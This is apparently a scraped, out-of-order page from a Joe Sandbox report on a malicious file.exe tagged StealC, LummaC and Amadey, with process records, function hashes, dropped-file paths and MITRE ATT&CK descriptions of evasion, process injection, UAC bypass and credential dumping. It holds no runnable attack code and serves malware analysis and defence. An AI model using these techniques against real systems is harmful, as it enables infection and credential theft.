MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	21:22:38
Start date:	22/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	21:22:39
Start date:	22/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2235d4f703.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 04AE05B4 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1740039601.0000000004AE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ae0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19e0c63b5c5e91162b65ebaeee3b4ac488b84f5998cb82e54fb4ada3e9c979a3
Instruction ID: 540bedf6c4191a9762e2fefad45add4a0dfad9454bbc3bc8614c20b1cac06ec2
Opcode Fuzzy Hash: 19e0c63b5c5e91162b65ebaeee3b4ac488b84f5998cb82e54fb4ada3e9c979a3
Instruction Fuzzy Hash: 8CF0FFFB24D130FD604192462764BF6677EE5DA6303308877F41BE5902F2D81A5D7132

Function 04AE0500 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1740039601.0000000004AE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ae0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 713e00f3e5dda5a4c7faef13b999e2607ffe0823639e44eb2a6324e12555722d
Instruction ID: 8dfe3e4f1aebd32deb1211adad31d47bbf99cb4c317ca7d0c2778a08634240a4
Opcode Fuzzy Hash: 713e00f3e5dda5a4c7faef13b999e2607ffe0823639e44eb2a6324e12555722d
Instruction Fuzzy Hash: FD315EF724C270BED30296651A546F77F7DEAC723033084A7F056DA403D2D51A0DA231

Function 04AE056F Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1740039601.0000000004AE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ae0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae91cf3bc09e96ed9b9fc357785ab17de8fafe17ff9dd202734c16e89118fc65
Instruction ID: 9bb38f2354c6c42a05a915c5965685fa67377476c74144382beade1d464df3a8
Opcode Fuzzy Hash: ae91cf3bc09e96ed9b9fc357785ab17de8fafe17ff9dd202734c16e89118fc65
Instruction Fuzzy Hash: F7210BF724D270BEE20295522A546F77F7DEAD7630330846BF057DA403E2D92A0DA631

Function 04AE053B Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1740039601.0000000004AE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ae0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3aeb0fa6b55f7a01c2e8b889f58f65d60c53c5f6b73448b62f72deac932e7ce
Instruction ID: 35ca9dc9963f5c880a126a97b5b8510e2b7fee209a9e80462ee1690de6a794fe
Opcode Fuzzy Hash: f3aeb0fa6b55f7a01c2e8b889f58f65d60c53c5f6b73448b62f72deac932e7ce
Instruction Fuzzy Hash: F821D4FB34C220BEA10292562B54BF77B7EE6D7630330847AF417D6502E2D56A097171

Function 04AE0566 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1740039601.0000000004AE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ae0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 460b2b25aa12df07bdb41b590886403c4cdc668a6e43c4d0e03103fd99c1bdaa
Instruction ID: 1e09f468fdfdb317ac1894343b7d3f61035bf6761107f80fdfafcb228a397c2b
Opcode Fuzzy Hash: 460b2b25aa12df07bdb41b590886403c4cdc668a6e43c4d0e03103fd99c1bdaa
Instruction Fuzzy Hash: 15118FFB24C230FEA14292562794AB7AB7DEAD7630330847BF017D6502E2D46A0D7131

Function 04AE05D7 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1740039601.0000000004AE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ae0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 420622766bd93ced85fa1918a1cd80d151f963d056778c223940a97880dd4d15
Instruction ID: f934fdd75ff6a30ae4871fafbd2ee74be427dab819be919949d6b56761002167
Opcode Fuzzy Hash: 420622766bd93ced85fa1918a1cd80d151f963d056778c223940a97880dd4d15
Instruction Fuzzy Hash: 39F030FB24C130FD618182462765BF6AB7DF6D66303308837F41BE5902E2D81A1D7172

Function 04AE060A Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1740039601.0000000004AE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ae0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0965f32c3b99666b327019e624670b6d8d51313b9c373a4a9e7244665a27fa8
Instruction ID: 2241fdccbc95555b852a79c0e7cc2500281b5205fd5505da98e4e0affd391cf8
Opcode Fuzzy Hash: b0965f32c3b99666b327019e624670b6d8d51313b9c373a4a9e7244665a27fa8
Instruction Fuzzy Hash: 28E0C2B634E131F90082171312A63B26B36FAE613032005A6F0AFB8D42FAD82165B062

Analysis Process: 2235d4f703.exePID: 8096, Parent PID: 7656COMMON

Non-executed Functions

Function 0585F3EC Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000003.2737953465.0000000005858000.00000004.00000800.00020000.00000000.sdmp, Offset: 0585F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_585f000_2235d4f703.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 425780350e63a2ceb329d1a5af501f1fedae6164080e372abf4c63daa7858e04
Instruction ID: 70ba89445e6840650c739e9f404e555e2225ef19b48621e450f7bb5cb3c062f9
Opcode Fuzzy Hash: 425780350e63a2ceb329d1a5af501f1fedae6164080e372abf4c63daa7858e04
Instruction Fuzzy Hash: 1071336100E3C18FC7178F30D9A1A967FB4AE4B224B5D45CFD9C0CF5A3D229994AD7A2

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe

C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre